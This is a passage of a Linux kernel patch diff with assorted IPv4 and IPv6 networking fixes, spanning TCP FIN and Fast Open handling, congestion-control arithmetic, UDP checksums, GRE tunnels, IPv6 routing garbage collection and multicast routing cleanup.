mss_now, min_t(unsigned int, cwnd_quota, @@ -2033,9 +2034,7 @@ void tcp_send_loss_probe(struct sock *sk) if (WARN_ON(!skb || !tcp_skb_pcount(skb))) goto rearm_timer; - /* Probe with zero data doesn't trigger fast recovery. */ - if (skb->len > 0) - err = __tcp_retransmit_skb(sk, skb); + err = __tcp_retransmit_skb(sk, skb); /* Record snd_nxt for loss detection. */ if (likely(!err)) @@ -2425,13 +2424,15 @@ int tcp_retransmit_skb(struct sock *sk, struct sk_buff *skb) if (!tp->retrans_stamp) tp->retrans_stamp = TCP_SKB_CB(skb)->when; - tp->undo_retrans += tcp_skb_pcount(skb); - /* snd_nxt is stored to detect loss of retransmitted segment, * see tcp_input.c tcp_sacktag_write_queue(). */ TCP_SKB_CB(skb)->ack_seq = tp->snd_nxt; } + + if (tp->undo_retrans < 0) + tp->undo_retrans = 0; + tp->undo_retrans += tcp_skb_pcount(skb); return err; } @@ -2568,43 +2569,65 @@ void tcp_xmit_retransmit_queue(struct sock *sk) } } -/* Send a fin. The caller locks the socket for us. This cannot be - * allowed to fail queueing a FIN frame under any circumstances. +/* We allow to exceed memory limits for FIN packets to expedite + * connection tear down and (memory) recovery. + * Otherwise tcp_send_fin() could be tempted to either delay FIN + * or even be forced to close flow without any FIN. + */ +static void sk_forced_wmem_schedule(struct sock *sk, int size) +{ + int amt, status; + + if (size <= sk->sk_forward_alloc) + return; + amt = sk_mem_pages(size); + sk->sk_forward_alloc += amt * SK_MEM_QUANTUM; + sk_memory_allocated_add(sk, amt, &status); +} + +/* Send a FIN. The caller locks the socket for us. + * We should try to send a FIN packet really hard, but eventually give up. */ void tcp_send_fin(struct sock *sk) { + struct sk_buff *skb, *tskb = tcp_write_queue_tail(sk); struct tcp_sock *tp = tcp_sk(sk); - struct sk_buff *skb = tcp_write_queue_tail(sk); - int mss_now; - /* Optimization, tack on the FIN if we have a queue of - * unsent frames. But be careful about outgoing SACKS - * and IP options. + /* Optimization, tack on the FIN if we have one skb in write queue and + * this skb was not yet sent, or we are under memory pressure. + * Note: in the latter case, FIN packet will be sent after a timeout, + * as TCP stack thinks it has already been transmitted. */ - mss_now = tcp_current_mss(sk); - - if (tcp_send_head(sk) != NULL) { - TCP_SKB_CB(skb)->tcp_flags |= TCPHDR_FIN; - TCP_SKB_CB(skb)->end_seq++; + if (tskb && (tcp_send_head(sk) || sk_under_memory_pressure(sk))) { +coalesce: + TCP_SKB_CB(tskb)->tcp_flags |= TCPHDR_FIN; + TCP_SKB_CB(tskb)->end_seq++; tp->write_seq++; + if (!tcp_send_head(sk)) { + /* This means tskb was already sent. + * Pretend we included the FIN on previous transmit. + * We need to set tp->snd_nxt to the value it would have + * if FIN had been sent. This is because retransmit path + * does not change tp->snd_nxt. + */ + tp->snd_nxt++; + return; + } } else { - /* Socket is locked, keep trying until memory is available. */ - for (;;) { - skb = alloc_skb_fclone(MAX_TCP_HEADER, - sk->sk_allocation); - if (skb) - break; - yield(); + skb = alloc_skb_fclone(MAX_TCP_HEADER, sk->sk_allocation); + if (unlikely(!skb)) { + if (tskb) + goto coalesce; + return; } - - /* Reserve space for headers and prepare control bits. */ skb_reserve(skb, MAX_TCP_HEADER); + sk_forced_wmem_schedule(sk, skb->truesize); /* FIN eats a sequence byte, write_seq advanced by tcp_queue_skb(). */ tcp_init_nondata_skb(skb, tp->write_seq, TCPHDR_ACK | TCPHDR_FIN); tcp_queue_skb(sk, skb); } - __tcp_push_pending_frames(sk, mss_now, TCP_NAGLE_OFF); + __tcp_push_pending_frames(sk, tcp_current_mss(sk), TCP_NAGLE_OFF); } /* We get here when a process closes a file descriptor (either due to @@ -2773,6 +2796,8 @@ struct sk_buff *tcp_make_synack(struct sock *sk, struct dst_entry *dst, } #endif + /* Do not fool tcpdump (if any), clean our debris */ + skb->tstamp.tv64 = 0; return skb; } EXPORT_SYMBOL(tcp_make_synack); @@ -2872,9 +2897,9 @@ static int tcp_send_syn_data(struct sock *sk, struct sk_buff *syn) { struct tcp_sock *tp = tcp_sk(sk); struct tcp_fastopen_request *fo = tp->fastopen_req; - int syn_loss = 0, space, i, err = 0, iovlen = fo->data->msg_iovlen; - struct sk_buff *syn_data = NULL, *data; + int syn_loss = 0, space, err = 0; unsigned long last_syn_loss = 0; + struct sk_buff *syn_data; tp->rx_opt.mss_clamp = tp->advmss; /* If MSS is not cached */ tcp_fastopen_cache_get(sk, &tp->rx_opt.mss_clamp, &fo->cookie, @@ -2905,42 +2930,39 @@ static int tcp_send_syn_data(struct sock *sk, struct sk_buff *syn) /* limit to order-0 allocations */ space = min_t(size_t, space, SKB_MAX_HEAD(MAX_TCP_HEADER)); - syn_data = skb_copy_expand(syn, MAX_TCP_HEADER, space, - sk->sk_allocation); - if (syn_data == NULL) + syn_data = sk_stream_alloc_skb(sk, space, sk->sk_allocation); + if (!syn_data) goto fallback; + syn_data->ip_summed = CHECKSUM_PARTIAL; + memcpy(syn_data->cb, syn->cb, sizeof(syn->cb)); + skb_shinfo(syn_data)->gso_segs = 1; + if (unlikely(memcpy_fromiovecend(skb_put(syn_data, space), + fo->data->msg_iov, 0, space))) { + kfree_skb(syn_data); + goto fallback; + } - for (i = 0; i < iovlen && syn_data->len < space; ++i) { - struct iovec *iov = &fo->data->msg_iov[i]; - unsigned char __user *from = iov->iov_base; - int len = iov->iov_len; - - if (syn_data->len + len > space) - len = space - syn_data->len; - else if (i + 1 == iovlen) - /* No more data pending in inet_wait_for_connect() */ - fo->data = NULL; + /* No more data pending in inet_wait_for_connect() */ + if (space == fo->size) + fo->data = NULL; + fo->copied = space; - if (skb_add_data(syn_data, from, len)) - goto fallback; - } + tcp_connect_queue_skb(sk, syn_data); - /* Queue a data-only packet after the regular SYN for retransmission */ - data = pskb_copy(syn_data, sk->sk_allocation); - if (data == NULL) - goto fallback; - TCP_SKB_CB(data)->seq++; - TCP_SKB_CB(data)->tcp_flags &= ~TCPHDR_SYN; - TCP_SKB_CB(data)->tcp_flags = (TCPHDR_ACK|TCPHDR_PSH); - tcp_connect_queue_skb(sk, data); - fo->copied = data->len; + err = tcp_transmit_skb(sk, syn_data, 1, sk->sk_allocation); - if (tcp_transmit_skb(sk, syn_data, 0, sk->sk_allocation) == 0) { + /* Now full SYN+DATA was cloned and sent (or not), + * remove the SYN from the original skb (syn_data) + * we keep in write queue in case of a retransmit, as we + * also have the SYN packet (with no data) in the same queue. + */ + TCP_SKB_CB(syn_data)->seq++; + TCP_SKB_CB(syn_data)->tcp_flags = TCPHDR_ACK | TCPHDR_PSH; + if (!err) { tp->syn_data = (fo->copied > 0); NET_INC_STATS(sock_net(sk), LINUX_MIB_TCPFASTOPENACTIVE); goto done; } - syn_data = NULL; fallback: /* Send a regular SYN with Fast Open cookie request option */ @@ -2949,7 +2971,6 @@ static int tcp_send_syn_data(struct sock *sk, struct sk_buff *syn) err = tcp_transmit_skb(sk, syn, 1, sk->sk_allocation); if (err) tp->syn_fastopen = 0; - kfree_skb(syn_data); done: fo->cookie.len = -1; /* Exclude Fast Open option for SYN retries */ return err; @@ -2969,13 +2990,10 @@ int tcp_connect(struct sock *sk) return 0; } - buff = alloc_skb_fclone(MAX_TCP_HEADER + 15, sk->sk_allocation); - if (unlikely(buff == NULL)) + buff = sk_stream_alloc_skb(sk, 0, sk->sk_allocation); + if (unlikely(!buff)) return -ENOBUFS; - /* Reserve space for headers. */ - skb_reserve(buff, MAX_TCP_HEADER); - tcp_init_nondata_skb(buff, tp->write_seq++, TCPHDR_SYN); tp->retrans_stamp = TCP_SKB_CB(buff)->when = tcp_time_stamp; tcp_connect_queue_skb(sk, buff); diff --git a/net/ipv4/tcp_vegas.c b/net/ipv4/tcp_vegas.c index 80fa2bfd7edef..c042e529a11e1 100644 --- a/net/ipv4/tcp_vegas.c +++ b/net/ipv4/tcp_vegas.c @@ -218,7 +218,8 @@ static void tcp_vegas_cong_avoid(struct sock *sk, u32 ack, u32 in_flight) * This is: * (actual rate in segments) * baseRTT */ - target_cwnd = tp->snd_cwnd * vegas->baseRTT / rtt; + target_cwnd = (u64)tp->snd_cwnd * vegas->baseRTT; + do_div(target_cwnd, rtt); /* Calculate the difference between the window we had, * and the window we would like to have. This quantity diff --git a/net/ipv4/tcp_veno.c b/net/ipv4/tcp_veno.c index ac43cd747bceb..b4d1858be5503 100644 --- a/net/ipv4/tcp_veno.c +++ b/net/ipv4/tcp_veno.c @@ -144,7 +144,7 @@ static void tcp_veno_cong_avoid(struct sock *sk, u32 ack, u32 in_flight) rtt = veno->minrtt; - target_cwnd = (tp->snd_cwnd * veno->basertt); + target_cwnd = (u64)tp->snd_cwnd * veno->basertt; target_cwnd <<= V_PARAM_SHIFT; do_div(target_cwnd, rtt); diff --git a/net/ipv4/tcp_yeah.c b/net/ipv4/tcp_yeah.c index 05c3b6f0e8e1c..bf8321d6f2ef2 100644 --- a/net/ipv4/tcp_yeah.c +++ b/net/ipv4/tcp_yeah.c @@ -222,7 +222,7 @@ static u32 tcp_yeah_ssthresh(struct sock *sk) { yeah->fast_count = 0; yeah->reno_count = max(yeah->reno_count>>1, 2U); - return tp->snd_cwnd - reduction; + return max_t(int, tp->snd_cwnd - reduction, 2); } static struct tcp_congestion_ops tcp_yeah __read_mostly = { diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c index 0a36567807dcc..80f09a3ca922d 100644 --- a/net/ipv4/udp.c +++ b/net/ipv4/udp.c @@ -1209,6 +1209,7 @@ int udp_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, int peeked, off = 0; int err; int is_udplite = IS_UDPLITE(sk); + bool checksum_valid = false; bool slow; if (flags & MSG_ERRQUEUE) @@ -1234,11 +1235,12 @@ int udp_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, */ if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { - if (udp_lib_checksum_complete(skb)) + checksum_valid = !udp_lib_checksum_complete(skb); + if (!checksum_valid) goto csum_copy_err; } - if (skb_csum_unnecessary(skb)) + if (checksum_valid || skb_csum_unnecessary(skb)) err = skb_copy_datagram_iovec(skb, sizeof(struct udphdr), msg->msg_iov, copied); else { diff --git a/net/ipv4/udp_diag.c b/net/ipv4/udp_diag.c index 7927db0a92795..4a000f1dd7575 100644 --- a/net/ipv4/udp_diag.c +++ b/net/ipv4/udp_diag.c @@ -99,11 +99,13 @@ static void udp_dump(struct udp_table *table, struct sk_buff *skb, struct netlin s_slot = cb->args[0]; num = s_num = cb->args[1]; - for (slot = s_slot; slot <= table->mask; num = s_num = 0, slot++) { + for (slot = s_slot; slot <= table->mask; s_num = 0, slot++) { struct sock *sk; struct hlist_nulls_node *node; struct udp_hslot *hslot = &table->hash[slot]; + num = 0; + if (hlist_nulls_empty(&hslot->head)) continue; diff --git a/net/ipv4/xfrm4_mode_tunnel.c b/net/ipv4/xfrm4_mode_tunnel.c index b5663c37f089e..e3f64831bc369 100644 --- a/net/ipv4/xfrm4_mode_tunnel.c +++ b/net/ipv4/xfrm4_mode_tunnel.c @@ -117,12 +117,12 @@ static int xfrm4_mode_tunnel_output(struct xfrm_state *x, struct sk_buff *skb) top_iph->frag_off = (flags & XFRM_STATE_NOPMTUDISC) ? 0 : (XFRM_MODE_SKB_CB(skb)->frag_off & htons(IP_DF)); - ip_select_ident(skb, dst->child, NULL); top_iph->ttl = ip4_dst_hoplimit(dst->child); top_iph->saddr = x->props.saddr.a4; top_iph->daddr = x->id.daddr.a4; + ip_select_ident(skb, NULL); return 0; } diff --git a/net/ipv4/xfrm4_policy.c b/net/ipv4/xfrm4_policy.c index 97fb5919dae5e..4c436751bf939 100644 --- a/net/ipv4/xfrm4_policy.c +++ b/net/ipv4/xfrm4_policy.c @@ -236,7 +236,7 @@ static struct dst_ops xfrm4_dst_ops = { .destroy = xfrm4_dst_destroy, .ifdown = xfrm4_dst_ifdown, .local_out = __ip_local_out, - .gc_thresh = 1024, + .gc_thresh = 32768, }; static struct xfrm_policy_afinfo xfrm4_policy_afinfo = { diff --git a/net/ipv6/addrconf.c b/net/ipv6/addrconf.c index 3b24e05ca2b4e..9541a77668f4d 100644 --- a/net/ipv6/addrconf.c +++ b/net/ipv6/addrconf.c @@ -2767,8 +2767,18 @@ static void init_loopback(struct net_device *dev) if (sp_ifa->flags & (IFA_F_DADFAILED | IFA_F_TENTATIVE)) continue; - if (sp_ifa->rt) - continue; + if (sp_ifa->rt) { + /* This dst has been added to garbage list when + * lo device down, release this obsolete dst and + * reallocate a new router for ifa. + */ + if (sp_ifa->rt->dst.obsolete > 0) { + ip6_rt_put(sp_ifa->rt); + sp_ifa->rt = NULL; + } else { + continue; + } + } sp_rt = addrconf_dst_alloc(idev, &sp_ifa->addr, 0); diff --git a/net/ipv6/addrlabel.c b/net/ipv6/addrlabel.c index b30ad3741b467..d5c918975c8c6 100644 --- a/net/ipv6/addrlabel.c +++ b/net/ipv6/addrlabel.c @@ -558,7 +558,7 @@ static int ip6addrlbl_get(struct sk_buff *in_skb, struct nlmsghdr* nlh) rcu_read_lock(); p = __ipv6_addr_label(net, addr, ipv6_addr_type(addr), ifal->ifal_index); - if (p && ip6addrlbl_hold(p)) + if (p && !ip6addrlbl_hold(p)) p = NULL; lseq = ip6addrlbl_table.seq; rcu_read_unlock(); diff --git a/net/ipv6/datagram.c b/net/ipv6/datagram.c index 58e6cf78ad42c..193274c912f34 100644 --- a/net/ipv6/datagram.c +++ b/net/ipv6/datagram.c @@ -40,7 +40,7 @@ static bool ipv6_mapped_addr_any(const struct in6_addr *a) return ipv6_addr_v4mapped(a) && (a->s6_addr32[3] == 0); } -int ip6_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) +static int __ip6_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) { struct sockaddr_in6 *usin = (struct sockaddr_in6 *) uaddr; struct inet_sock *inet = inet_sk(sk); @@ -56,7 +56,7 @@ int ip6_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) if (usin->sin6_family == AF_INET) { if (__ipv6_only_sock(sk)) return -EAFNOSUPPORT; - err = ip4_datagram_connect(sk, uaddr, addr_len); + err = __ip4_datagram_connect(sk, uaddr, addr_len); goto ipv4_connected; } @@ -99,9 +99,9 @@ int ip6_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) sin.sin_addr.s_addr = daddr->s6_addr32[3]; sin.sin_port = usin->sin6_port; - err = ip4_datagram_connect(sk, - (struct sockaddr *) &sin, - sizeof(sin)); + err = __ip4_datagram_connect(sk, + (struct sockaddr *) &sin, + sizeof(sin)); ipv4_connected: if (err) @@ -207,6 +207,16 @@ int ip6_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) fl6_sock_release(flowlabel); return err; } + +int ip6_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) +{ + int res; + + lock_sock(sk); + res = __ip6_datagram_connect(sk, uaddr, addr_len); + release_sock(sk); + return res; +} EXPORT_SYMBOL_GPL(ip6_datagram_connect); void ipv6_icmp_error(struct sock *sk, struct sk_buff *skb, int err, @@ -377,11 +387,10 @@ int ipv6_recv_error(struct sock *sk, struct msghdr *msg, int len, int *addr_len) memcpy(&errhdr.ee, &serr->ee, sizeof(struct sock_extended_err)); sin = &errhdr.offender; - sin->sin6_family = AF_UNSPEC; + memset(sin, 0, sizeof(*sin)); + if (serr->ee.ee_origin != SO_EE_ORIGIN_LOCAL) { sin->sin6_family = AF_INET6; - sin->sin6_flowinfo = 0; - sin->sin6_port = 0; if (skb->protocol == htons(ETH_P_IPV6)) { sin->sin6_addr = ipv6_hdr(skb)->saddr; if (np->rxopt.all) @@ -390,12 +399,9 @@ int ipv6_recv_error(struct sock *sk, struct msghdr *msg, int len, int *addr_len) ipv6_iface_scope_id(&sin->sin6_addr, IP6CB(skb)->iif); } else { - struct inet_sock *inet = inet_sk(sk); - ipv6_addr_set_v4mapped(ip_hdr(skb)->saddr, &sin->sin6_addr); - sin->sin6_scope_id = 0; - if (inet->cmsg_flags) + if (inet_sk(sk)->cmsg_flags) ip_cmsg_recv(msg, skb); } } diff --git a/net/ipv6/exthdrs_core.c b/net/ipv6/exthdrs_core.c index 11de7379fb9a8..06fc6bfe9f970 100644 --- a/net/ipv6/exthdrs_core.c +++ b/net/ipv6/exthdrs_core.c @@ -260,7 +260,11 @@ int ipv6_find_hdr(const struct sk_buff *skb, unsigned int *offset, return -EINVAL; } } - return -ENOENT; + if (!found) + return -ENOENT; + if (fragoff) + *fragoff = _frag_off; + break; } hdrlen = 8; } else if (nexthdr == NEXTHDR_AUTH) { diff --git a/net/ipv6/exthdrs_offload.c b/net/ipv6/exthdrs_offload.c index 447a7fbd1bb6f..f5e2ba1c18bf8 100644 --- a/net/ipv6/exthdrs_offload.c +++ b/net/ipv6/exthdrs_offload.c @@ -36,6 +36,6 @@ int __init ipv6_exthdrs_offload_init(void) return ret; out_rt: - inet_del_offload(&rthdr_offload, IPPROTO_ROUTING); + inet6_del_offload(&rthdr_offload, IPPROTO_ROUTING); goto out; } diff --git a/net/ipv6/ip6_fib.c b/net/ipv6/ip6_fib.c index 009c9620f442a..46458ee319393 100644 --- a/net/ipv6/ip6_fib.c +++ b/net/ipv6/ip6_fib.c @@ -638,6 +638,29 @@ static inline bool rt6_qualify_for_ecmp(struct rt6_info *rt) RTF_GATEWAY; } +static void fib6_purge_rt(struct rt6_info *rt, struct fib6_node *fn, + struct net *net) +{ + if (atomic_read(&rt->rt6i_ref) != 1) { + /* This route is used as dummy address holder in some split + * nodes. It is not leaked, but it still holds other resources, + * which must be released in time. So, scan ascendant nodes + * and replace dummy references to this route with references + * to still alive ones. + */ + while (fn) { + if (!(fn->fn_flags & RTN_RTINFO) && fn->leaf == rt) { + fn->leaf = fib6_find_prefix(net, fn); + atomic_inc(&fn->leaf->rt6i_ref); + rt6_release(rt); + } + fn = fn->parent; + } + /* No more references are possible at this point. */ + BUG_ON(atomic_read(&rt->rt6i_ref) != 1); + } +} + /* * Insert routing information in a node. */ @@ -775,11 +798,12 @@ static int fib6_add_rt2node(struct fib6_node *fn, struct rt6_info *rt, rt->dst.rt6_next = iter->dst.rt6_next; atomic_inc(&rt->rt6i_ref); inet6_rt_notify(RTM_NEWROUTE, rt, info); - rt6_release(iter); if (!(fn->fn_flags & RTN_RTINFO)) { info->nl_net->ipv6.rt6_stats->fib_route_nodes++; fn->fn_flags |= RTN_RTINFO; } + fib6_purge_rt(iter, fn, info->nl_net); + rt6_release(iter); } return 0; @@ -1284,24 +1308,7 @@ static void fib6_del_route(struct fib6_node *fn, struct rt6_info **rtp, fn = fib6_repair_tree(net, fn); } - if (atomic_read(&rt->rt6i_ref) != 1) { - /* This route is used as dummy address holder in some split - * nodes. It is not leaked, but it still holds other resources, - * which must be released in time. So, scan ascendant nodes - * and replace dummy references to this route with references - * to still alive ones. - */ - while (fn) { - if (!(fn->fn_flags & RTN_RTINFO) && fn->leaf == rt) { - fn->leaf = fib6_find_prefix(net, fn); - atomic_inc(&fn->leaf->rt6i_ref); - rt6_release(rt); - } - fn = fn->parent; - } - /* No more references are possible at this point. */ - BUG_ON(atomic_read(&rt->rt6i_ref) != 1); - } + fib6_purge_rt(rt, fn, net); inet6_rt_notify(RTM_DELROUTE, rt, info); rt6_release(rt); @@ -1641,27 +1648,28 @@ static int fib6_age(struct rt6_info *rt, void *arg) static DEFINE_SPINLOCK(fib6_gc_lock); -void fib6_run_gc(unsigned long expires, struct net *net) +void fib6_run_gc(unsigned long expires, struct net *net, bool force) { - if (expires != ~0UL) { + unsigned long now; + + if (force) { spin_lock_bh(&fib6_gc_lock); - gc_args.timeout = expires ? (int)expires : - net->ipv6.sysctl.ip6_rt_gc_interval; - } else { - if (!spin_trylock_bh(&fib6_gc_lock)) { - mod_timer(&net->ipv6.ip6_fib_timer, jiffies + HZ); - return; - } - gc_args.timeout = net->ipv6.sysctl.ip6_rt_gc_interval; + } else if (!spin_trylock_bh(&fib6_gc_lock)) { + mod_timer(&net->ipv6.ip6_fib_timer, jiffies + HZ); + return; } + gc_args.timeout = expires ? (int)expires : + net->ipv6.sysctl.ip6_rt_gc_interval; gc_args.more = icmp6_dst_gc(); fib6_clean_all(net, fib6_age, 0, NULL); + now = jiffies; + net->ipv6.ip6_rt_last_gc = now; if (gc_args.more) mod_timer(&net->ipv6.ip6_fib_timer, - round_jiffies(jiffies + round_jiffies(now + net->ipv6.sysctl.ip6_rt_gc_interval)); else del_timer(&net->ipv6.ip6_fib_timer); @@ -1670,7 +1678,7 @@ void fib6_run_gc(unsigned long expires, struct net *net) static void fib6_gc_timer_cb(unsigned long arg) { - fib6_run_gc(0, (struct net *)arg); + fib6_run_gc(0, (struct net *)arg, true); } static int __net_init fib6_net_init(struct net *net) diff --git a/net/ipv6/ip6_gre.c b/net/ipv6/ip6_gre.c index 7dca7c43fdf14..7eb7267861acb 100644 --- a/net/ipv6/ip6_gre.c +++ b/net/ipv6/ip6_gre.c @@ -359,6 +359,7 @@ static void ip6gre_tunnel_uninit(struct net_device *dev) struct ip6gre_net *ign = net_generic(net, ip6gre_net_id); ip6gre_tunnel_unlink(ign, netdev_priv(dev)); + ip6_tnl_dst_reset(netdev_priv(dev)); dev_put(dev); } @@ -512,11 +513,11 @@ static int ip6gre_rcv(struct sk_buff *skb) skb->protocol = gre_proto; /* WCCP version 1 and 2 protocol decoding. - * - Change protocol to IP + * - Change protocol to IPv6 * - When dealing with WCCPv2, Skip extra 4 bytes in GRE header */ if (flags == 0 && gre_proto == htons(ETH_P_WCCP)) { - skb->protocol = htons(ETH_P_IP); + skb->protocol = htons(ETH_P_IPV6); if ((*(h + offset) & 0xF0) != 0x40) offset += 4; } @@ -787,7 +788,7 @@ static inline int ip6gre_xmit_ipv4(struct sk_buff *skb, struct net_device *dev) encap_limit = t->parms.encap_limit; memcpy(&fl6, &t->fl.u.ip6, sizeof(fl6)); - fl6.flowi6_proto = IPPROTO_IPIP; + fl6.flowi6_proto = IPPROTO_GRE; dsfield = ipv4_get_dsfield(iph); @@ -837,7 +838,7 @@ static inline int ip6gre_xmit_ipv6(struct sk_buff *skb, struct net_device *dev) encap_limit = t->parms.encap_limit; memcpy(&fl6, &t->fl.u.ip6, sizeof(fl6)); - fl6.flowi6_proto = IPPROTO_IPV6; + fl6.flowi6_proto = IPPROTO_GRE; dsfield = ipv6_get_dsfield(ipv6h); if (t->parms.flags & IP6_TNL_F_USE_ORIG_TCLASS) @@ -962,8 +963,6 @@ static void ip6gre_tnl_link_config(struct ip6_tnl *t, int set_mtu) else dev->flags &= ~IFF_POINTOPOINT; - dev->iflink = p->link; - /* Precalculate GRE options length */ if (t->parms.o_flags&(GRE_CSUM|GRE_KEY|GRE_SEQ)) { if (t->parms.o_flags&GRE_CSUM) @@ -1267,6 +1266,8 @@ static int ip6gre_tunnel_init(struct net_device *dev) if (!dev->tstats) return -ENOMEM; + dev->iflink = tunnel->parms.link; + return 0; } @@ -1282,7 +1283,6 @@ static void ip6gre_fb_tunnel_init(struct net_device *dev) dev_hold(dev); } - static struct inet6_protocol ip6gre_protocol __read_mostly = { .handler = ip6gre_rcv, .err_handler = ip6gre_err, @@ -1458,6 +1458,8 @@ static int ip6gre_tap_init(struct net_device *dev) if (!dev->tstats) return -ENOMEM; + dev->iflink = tunnel->parms.link; + return 0; } @@ -1539,13 +1541,11 @@ static int ip6gre_changelink(struct net_device *dev, struct nlattr *tb[], return -EEXIST; } else { t = nt; - - ip6gre_tunnel_unlink(ign, t); - ip6gre_tnl_change(t, &p, !tb[IFLA_MTU]); - ip6gre_tunnel_link(ign, t); - netdev_state_change(dev); } + ip6gre_tunnel_unlink(ign, t); + ip6gre_tnl_change(t, &p, !tb[IFLA_MTU]); + ip6gre_tunnel_link(ign, t); return 0; } diff --git a/net/ipv6/ip6_input.c b/net/ipv6/ip6_input.c index 774b09cb2920f..63264c9a15cb4 100644 --- a/net/ipv6/ip6_input.c +++ b/net/ipv6/ip6_input.c @@ -325,10 +325,10 @@ int ip6_mc_input(struct sk_buff *skb) if (offset < 0) goto out; - if (!ipv6_is_mld(skb, nexthdr, offset)) - goto out; + if (ipv6_is_mld(skb, nexthdr, offset)) + deliver = true; - deliver = true; + goto out; } /* unknown RA - process it normally */ } diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c index 0fe5154dd497f..1de6d24dd3047 100644 --- a/net/ipv6/ip6_output.c +++ b/net/ipv6/ip6_output.c @@ -541,6 +541,23 @@ static void ip6_copy_metadata(struct sk_buff *to, struct sk_buff *from) skb_copy_secmark(to, from); } +static void ipv6_select_ident(struct frag_hdr *fhdr, struct rt6_info *rt) +{ + static u32 ip6_idents_hashrnd __read_mostly; + static bool hashrnd_initialized = false; + u32 hash, id; + + if (unlikely(!hashrnd_initialized)) { + hashrnd_initialized = true; + get_random_bytes(&ip6_idents_hashrnd, sizeof(ip6_idents_hashrnd)); + } + hash = __ipv6_addr_jhash(&rt->rt6i_dst.addr, ip6_idents_hashrnd); + hash = __ipv6_addr_jhash(&rt->rt6i_src.addr, hash); + + id = ip_idents_reserve(hash, 1); + fhdr->identification = htonl(id); +} + int ip6_fragment(struct sk_buff *skb, int (*output)(struct sk_buff *)) { struct sk_buff *frag; @@ -1270,7 +1287,8 @@ int ip6_append_data(struct sock *sk, int getfrag(void *from, char *to, if (((length > mtu) || (skb && skb_has_frags(skb))) && (sk->sk_protocol == IPPROTO_UDP) && - (rt->dst.dev->features & NETIF_F_UFO)) { + (rt->dst.dev->features & NETIF_F_UFO) && + (sk->sk_type == SOCK_DGRAM)) { err = ip6_ufo_append_data(sk, getfrag, from, length, hh_len, fragheaderlen, transhdrlen, mtu, flags, rt); diff --git a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c index a0ecdf596f2fb..31bab1ab007c9 100644 --- a/net/ipv6/ip6_tunnel.c +++ b/net/ipv6/ip6_tunnel.c @@ -265,16 +265,13 @@ static int ip6_tnl_create2(struct net_device *dev) int err; t = netdev_priv(dev); - err = ip6_tnl_dev_init(dev); - if (err < 0) - goto out; + dev->rtnl_link_ops = &ip6_link_ops; err = register_netdevice(dev); if (err < 0) goto out; strcpy(t->parms.name, dev->name); - dev->rtnl_link_ops = &ip6_link_ops; dev_hold(dev); ip6_tnl_link(ip6n, t); @@ -1433,6 +1430,7 @@ ip6_tnl_change_mtu(struct net_device *dev, int new_mtu) static const struct net_device_ops ip6_tnl_netdev_ops = { + .ndo_init = ip6_tnl_dev_init, .ndo_uninit = ip6_tnl_dev_uninit, .ndo_start_xmit = ip6_tnl_xmit, .ndo_do_ioctl = ip6_tnl_ioctl, @@ -1514,16 +1512,10 @@ static int __net_init ip6_fb_tnl_dev_init(struct net_device *dev) struct ip6_tnl *t = netdev_priv(dev); struct net *net = dev_net(dev); struct ip6_tnl_net *ip6n = net_generic(net, ip6_tnl_net_id); - int err = ip6_tnl_dev_init_gen(dev); - - if (err) - return err; t->parms.proto = IPPROTO_IPV6; dev_hold(dev); - ip6_tnl_link_config(t); - rcu_assign_pointer(ip6n->tnls_wc[0], t); return 0; } diff --git a/net/ipv6/ip6mr.c b/net/ipv6/ip6mr.c index 63cf7cded36de..b94a62467253e 100644 --- a/net/ipv6/ip6mr.c +++ b/net/ipv6/ip6mr.c @@ -120,7 +120,7 @@ static void mr6_netlink_event(struct mr6_table *mrt, struct mfc6_cache *mfc, int cmd); static int ip6mr_rtm_dumproute(struct sk_buff *skb, struct netlink_callback *cb); -static void mroute_clean_tables(struct mr6_table *mrt); +static void mroute_clean_tables(struct mr6_table *mrt, bool all); static void ipmr_expire_process(unsigned long arg); #ifdef CONFIG_IPV6_MROUTE_MULTIPLE_TABLES @@ -336,8 +336,8 @@ static struct mr6_table *ip6mr_new_table(struct net *net, u32 id) static void ip6mr_free_table(struct mr6_table *mrt) { - del_timer(&mrt->ipmr_expire_timer); - mroute_clean_tables(mrt); + del_timer_sync(&mrt->ipmr_expire_timer); + mroute_clean_tables(mrt, true); kfree(mrt); } @@ -552,7 +552,7 @@ static void ipmr_mfc_seq_stop(struct seq_file *seq, void *v) if (it->cache == &mrt->mfc6_unres_queue) spin_unlock_bh(&mfc_unres_lock); - else if (it->cache == mrt->mfc6_cache_array) + else if (it->cache == &mrt->mfc6_cache_array[it->ct]) read_unlock(&mrt_lock); } @@ -1077,6 +1077,7 @@ static struct mfc6_cache *ip6mr_cache_alloc(void) struct mfc6_cache *c = kmem_cache_zalloc(mrt_cachep, GFP_KERNEL); if (c == NULL) return NULL; + c->mfc_un.res.last_assert = jiffies - MFC_ASSERT_THRESH - 1; c->mfc_un.res.minvif = MAXMIFS; return c; } @@ -1537,7 +1538,7 @@ static int ip6mr_mfc_add(struct net *net, struct mr6_table *mrt, * Close the multicast socket, and clear the vif tables etc */ -static void mroute_clean_tables(struct mr6_table *mrt) +static void mroute_clean_tables(struct mr6_table *mrt, bool all) { int i; LIST_HEAD(list); @@ -1547,8 +1548,9 @@ static void mroute_clean_tables(struct mr6_table *mrt) * Shut down all active vif entries */ for (i = 0; i < mrt->maxvif; i++) { - if (!(mrt->vif6_table[i].flags & VIFF_STATIC)) - mif6_delete(mrt, i, &list); + if (!all && (mrt->vif6_table[i].flags & VIFF_STATIC)) + continue; + mif6_delete(mrt, i, &list); } unregister_netdevice_many(&list); @@ -1557,7 +1559,7 @@ static void mroute_clean_tables(struct mr6_table *mrt) */ for (i = 0; i < MFC6_LINES; i++) { list_for_each_entry_safe(c, next, &mrt->mfc6_cache_array[i], list) { - if (c->mfc_flags & MFC_STATIC) + if (!all && (c->mfc_flags & MFC_STATIC)) continue; write_lock_bh(&mrt_lock); list_del(&c->list); @@ -1620,7 +1622,7 @@ int ip6mr_sk_done(struct sock 